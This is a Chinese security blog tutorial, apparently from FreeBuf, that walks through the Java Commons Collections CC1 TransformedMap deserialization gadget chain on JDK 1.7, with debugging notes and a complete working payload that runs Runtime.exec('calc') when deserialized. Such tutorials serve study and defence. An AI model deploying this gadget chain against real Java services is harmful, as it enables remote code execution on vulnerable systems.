freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java反序列化CC1 TransformedMap链
2023-05-25 11:10:28
所属地 广东省

运行环境

jdk版本:1.7.0_80

commons-collections-3.2

调用链

/**
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* MapEnty.setValue()
* TransformedMap.checkSetValue()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
*
*/

调用流程

InvokerTransformer.transform()

此方法进行了一次反射调用,且所有参数都可控

1683466112_6457a780da245fcba5281.png!small

methodName: 方法名称

paramType:参数类型

args:  传入方法的参数

input:  执行方法的对象

通过利用InvokerTransformer.transform()弹出计算器

1683466610_6457a9728e88bb3f48f61.png!small?1683466610512







调用了三次transform()方法

第一次调用执行的方法是getMethod,参数是getRuntime,执行对象为Runtime.class。返回了Runtime.getRuntime这个方法。

第二次调用执行的方法是invoke,参数为空,执行对象为Runtime.getRuntime方法。返回了Runtime对象。

第三次调用的方法是exec,参数为calc,执行对象为Runtime对象。执行命令弹出计算器。

可用看出下一次执行的对象是上一次方法执行的结果。ChainedTransformer.transformer()方法刚好是一个循环执行。

ChainedTransformer.transformer()

此方法对一个Transformer[]列表执行了循环调用,且调用的参数以及对象都由外部传入。


1683467451_6457acbba3cca044cbe2e.png!small?1683467451582








Transformer[]列表由构造方法传入,在transform方法中对列表里中的对象循环调用其自身的transform方法,且下次调用的参数为上次调用执行的结果。可通过此方法对InvokerTransformer.transform()弹计算器的方法进行改写

1683467812_6457ae2463b749f5b8b54.png!small?1683467812320









把三次调用放在Transformer[]列表中。在创建ChainedTransformer对象时将列表传进去,再调用ChainedTransformer对象的transform方法,传入Runtime.class对象。

ConstantTransformer.transform()

ConstantTransformer.transform()方法做了一个简单的转换

1683468820_6457b214641ff06eb9377.png!small?1683468820280






在创建对象时传入Runtime.class,调用ConstantTransformer.transform()时无论传入什么都会将Runtime.class返回。可将ConstantTransformer添加到Transformer[]列表中

1683469021_6457b2ddbbbd678d0b0cf.png!small









添加ConstantTransformer后调用时首先执行ConstantTransformer.transform(),返回Runtime.class,供后续方法执行使用。ChainedTransformer.transform中传入“aaa"依然能弹出计算器,传入的aaa在ConstantTransformer.transform()中被换为Runtime.class。ConstantTransformer.transform()的对象转换作用在后续进行反序列操作时会体现出来。

以上三个方法即为CC链反序列漏洞的危险方法执行链。后续的几个方法可看作为反序列化的入口链。

TransformedMap.checkSetValue()

1683469849_6457b6197313f714ca6a5.png!small?1683469849311

1683469885_6457b63dcb692b479b3ea.png!small?1683469885778

1683469895_6457b647d1134bf41eb89.png!small?1683469895774









checkSetValue()方法中调用了this.valueTransformer的transform方法。如果this.valueTransformer可以由我们控制并定义为ChainedTransformer对象,就可以调用上面介绍的危险函数执行链。this.valueTransformer为构造方法中传入的valueTransformer。构造方法不可直接调用,但在decorate中调用了构造方法,并将自身的valueTransformer传入构造方法中。因此可以利用decorate方法间接将this.valueTransformer定义为ChainedTransformer。

1683471172_6457bb44450a11ce626f5.png!small?1683471172233







构造如上代码,将ChainedTransformer通过TransformedMap.decorate方法传进去。但无法直接调用checkSetValue()方法,因此无法弹出计算器。如果有类调用了checkSetValue()方法,并且执行方法的对象可控,那么可以将TransformedMap对象传入,进行间接调用。

MapEnty.setValue

TransformedMap继承了AbstracInputCheckedMapDecorator类,在此类中的MapEnty.setValue用到了checkSetValue()方法,调用此方法的this.parent由是可控的,因此可以用setValue方法触发TransformedMap的checkSetValue。

1683548415_6458e8ff8de631ab5fbf0.png!small?1683548415185

AnnotationlnvocationHandler.readObject

在此readObject中出现了对setValue方法的调用。调用对象为Entry类型。

1683548744_6458ea48b1204c5bff825.png!small?1683548744198










var5参数相关的this.memberValue可由构造函数传入。但此构造函数不能被直接调用,因此需要通过反射方法生成。

1683550022_6458ef46c0582b35452ec.png!small?1683550022269






在构造时将TransformedMapd对象传入到var2。对AnnotationInvocationHandler对象进行序列化和反序列化,反序列化时调用AnnotationInvocationHandler.readObject方法。在readObject中触发setValue。通过setValue调用checkSetValue(),在checkSetValue中完成整个transform攻击链的调用。

执行调试

根据以上步骤构造payload如下

private void cc() throws Exception {
//transformer执行链
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer C = new ChainedTransformer(Transformer);

//构造TransformedMap并将命令执行链传入
HashMap<Object, Object> map = new HashMap<>();
map.put("1", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, C);

//构造入口类AnnotationInvocationHandler,并将TransformedMap传入
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Override.class, transformedMap);

//序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(o);
//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();

}

注意AnnotationInvocationHandler对象要通过反射生成,且生成时传入的第一个对象为注解类的.calss,这里先使用Override.class进行测试。

运行,发现无事发生,没有弹计算器,也没有报错提示。

在AnnotationInvocationHandler.readObject中添加如下断点进行调试

1683550844_6458f27c42765ac40f65f.png!small?1683550843839











逐步调试,发现var7为null

1683551208_6458f3e861938fc737f3e.png!small?1683551207867







直接在if判断中跳出执行了,并没有执行setValue。var7和var3以及var6相关。var6为1,是我们在构造Transforedmap时随意传进去map的key值。

1683551317_6458f455702418e451cba.png!small?1683551316884





再看var3,为var2.memberTypes(),var2又和传入的注解类相关。进入AnnotationType.getInstance方法看var2的生成过程。

1683551402_6458f4aa7f74891cb811d.png!small?1683551401996






对AnnotationType.getInstance打断点进行调试。

1683551723_6458f5eb4eaca57d11b95.png!small?1683551723053







进入new AnnotationType前都为null,进入new AnnotationType方法。

1683551842_6458f662f10f4b206dc9d.png!small?1683551842525







发现对var1.进行了一次反射调用,获取了注解接口的所有方法。传入的Override里没有任何方法,因此var2为空,此类后续的方法基本都基于var2操作,var2为空,则后续的this.memberTypes也就什么都没有。

将payload代码做以下修改

1683552590_6458f94ebf1cb9e476f06.png!small?1683552590325

1683552639_6458f97fbd47493bd7e63.png!small?1683552639229








将map的key值改为value,注解类改为Target.class,此注解中有一个value方法

1683552698_6458f9ba645ba07507902.png!small?1683552697850


再次进行调试,AnnotationInvocationHandler.readObject中的var3 key为Target的方法名value,var6的值也为value,则var7=var3.get(var6)var7不为空,进入后续操作。

1683556377_64590819120e255711cef.png!small?1683556376749









进入MapEntry执行setValue方法,在此方法中调用this.parent.checkSetValue。this.parent为TransformedMap

1683553590_6458fd36dd38fa006bb01.png!small?1683553590405







在TransformedMap.checkSetValue中调用this.valueTransformer.transform。this.valueTransformer为ChainedTransformer

1683554376_64590048cd89974489add.png!small?1683554376377




ChainedTransformer.transform中循环调用Transformer[]列表中的transform方法,注意此时的object为AnnotationTypeMismatchExcept.....对象,并不是Runtim.class

1683554674_64590172bb0b2efde6c55.png!small?1683554674229





Transformer[]列表第一次调用ConstantTransformer.transform()方法,将AnnotationTypeMismatchExcept.....换为Runtime.class

1683555449_645904795d38cb95c9608.png!small?1683555448782








第二次调用InvokerTransformer.transform,此时object已变为Runtime.class

1683554995_645902b3377dc251d82e2.png!small?1683554994680





第三次调用object变为Runtime.getRuntime()

1683555086_6459030e77ee4768e589f.png!small?1683555085915





第四次调用object变为Runtime对象

1683555167_6459035f81d2bd9bbc298.png!small?1683555166986




InvokerTransformer.transform反射执行Runtime对象的exec方法,参数为calc,弹出计算器

1683555360_645904208928e7866c1f4.png!small?1683555360135






以上为反序列java CC1链 TransformedMap方法利用的整个过程

最终payload如下

private void cc() throws Exception {

Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer C = new ChainedTransformer(Transformer);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, C);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler.setAccessible(true);
Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
outputStream.writeObject(o);

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
inputStream.readObject();

}

注意事项

1.此条链在jdk1.8以上的大多版本都不使用,1.8版本对AnnotationInvocationHandler.readObject进行了修改,不再调用setValue方法

1683555814_645905e61b207fb9b1236.png!small?1683555813559








2.构造传入TransformedMap时传入Map的key值为后续传入AnnotationInvocationHandler注解类的方法名,若注解类没有方法,则在反序列化中无法调用setValue

以上为java反序列CC1  TransformedMap链的整个利用过程,CC1  LazyMap链利用过程后续也将进行介绍。

# 网络安全 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录